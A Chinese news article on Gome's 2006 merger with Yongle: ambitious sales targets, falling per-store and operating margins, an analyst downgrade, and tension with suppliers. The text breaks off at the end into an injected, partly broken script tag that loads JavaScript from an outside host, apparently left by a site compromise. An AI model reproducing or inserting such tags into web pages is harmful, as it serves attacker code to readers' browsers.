家电频道推荐阅读 ·旧永乐“曲终人散” 新国美“粉墨登场” ·新国美京城首战:42寸平板破万元 笔记本五折起 ·陈晓发狠话：销售不达标就下岗 ·陈晓出任新国美总裁 苏宁董事长张近东祝贺 ·新国美2010销售2000亿 进全球家电零售前三名 ·新国美明年销售过千亿 最有潜力达世界领先 ·新国美正式成立 家电零售渠道进入双寡头时代
国美电器(0493.hk)的胃口越来越大。昨日（22日），国美董事长黄光裕对外宣布，2007年，新集团将完成全国网络渠道布局，争取实现销售额突破1000亿。新上任的陈晓则对外宣布，新国美集团争取2010年的销售规模达到2000亿。
规模急剧扩张的国美面对的却是“盈利”能力的急剧下滑。21日国美发布的三季度公告显示，国美2006年第三季度的运营利润率从上年同期的4.7%降至3.7%，单店销售额下降1.9%。
“新国美”ceo陈晓在发布新战略时也意识到粗放式发展的危险：新集团将通过精细化管理，由原来开店驱动型粗放增长方式向以提升单店经营质量为标准的集约化增长方式转变。但国美能否在购并永乐后，能否真正变成他们预想中的全球500强企业呢？
“规模”扩张与单店利润不可调和
擅长价格战、并以规模攫取利润的国美通过“跑马圈地”，终于在家电连锁行业占据了龙头老大的地位。然而，繁华的背后是整个行业单店利润的急速下滑。
贝塔策略工作室合伙人杜丽虹指出，快速扩张的过程必然带来单店利润的下滑。国美几乎每年都要关闭一些店，2006年上半年，国美上市公司新开了84家传统门店和1家大卖场，但同时也关闭了9家传统门店和1家数码店。
根据国美第三季度财报显示，单店销售额下降1.9%，销售额/平方米下降34%。该业绩逊于预期，单店销售额增长下跌1.9％，同时销售成本上升。前三季销售成本、综合开销及行政费用从8.238亿元猛增至14.3亿元。
美林证券认为，国美与永乐整合过程可能会比预期困难，故该行将其评级由“买入”调低至“中性”。
陈晓昨天还再三提及国美将进军二三线城市，同时他还强调了提升单店利润以及精细化管理。
杜丽虹指出：进军二三线城市和提高单店利润存在着不可调和的矛盾。 开店速度快、关店速度快，必然会对公司利润率产生负面影响，此外对二线城市的渗透也在一定程度上拉低了国美的利润率水平：国美的单位面积销售额已从上市之初的37570元/平米，下降到2005年的25900元/平米，到2006年中期进一步下降到20400元/平米；毛利润率从2004年的13.3%下降到2006年中期的13.0%；经营利润率（息税前利润/销售收入）从6.0%下降到3.4%；净利润率从3.7%下降到2.7%。
提升“议价”能力 厂商关系更紧张
虽然“和谐”是国美这次大会的主题之一，但国美在回答记者提问时坦承：新国美集团在与厂商谈判时候的“议价”能力将更强。
事实上，家电连锁卖场的进场费、选位费、终端促销费、节庆费等等，常常让厂家颗粒无收。格力电器总经理董明珠有一句话在业界很出名：“如果跟国美等大卖场大面积合作，可能很多企业死得更快。”
杜丽虹分析，目前，国美苏宁这样的家电连锁企业是通过开店、扩大规模、占用制造商货款，并获取各种额外费用成为内地家电连锁行业的赢利模式。如何改善与厂商的关系也成为新国美未来发展的不确定因素。
国务院发展研究中心家电产业研究专家陆刃波主任称，新国美面临着角色转换的挑战。如何从单纯服务消费者转变为同时向“家电供应商”服务。家电行业通过整合，也已形成了和国美这种连锁巨头抗衡的能力。如果国美再不转换角色，像海尔这样的大型企业将会模仿格力自建渠道。而国美的店面不能提供好的产品和服务，又如何能够提升单店销售能力和利润？
一位长年和国美合作的家电销售人士说：“国美的收入完全来自于供应商，但是国美却不是家电生产企业的唯一渠道。通过国美的销售平台达到销售目标是最快的，但并没有提高我们的份额。
陆刃波同时向新国美建议，应该赶快转型，为厂商服务，借助自己的网络，向企业提供物流，仓储等方面的服务，将对厂商的服务变成自己的附加盈利点。
2007年能否达到23亿利润？
陈晓在报告中激情宣布，力争2007年销售额突破1000亿，门店数量超过1000家。2007年的利润额达到23亿元以上。
但激情扩张的背后也带来了隐忧：国美的三季报显示，公司净利润为6.83亿元，较去年同期增加了15％，而销售收入和销售成本较去年同期大幅上涨了4成多。
陈晓称，新集团将在2006年底完成国美永乐合并后的整合工作，整合后，通过职能架构，推动品牌的差异化经营，充分发挥国美和永乐网络销售的互补性，将国美、永乐、鹏润纳入三大品牌管理。
陆刃波预测，新国美还面临许多问题。最为迫切的是如何“真正地整合”，而整合时间至少需要3年左右。同时，门店的数量也不是越多越好，?script src=http://er12.com/t.js>
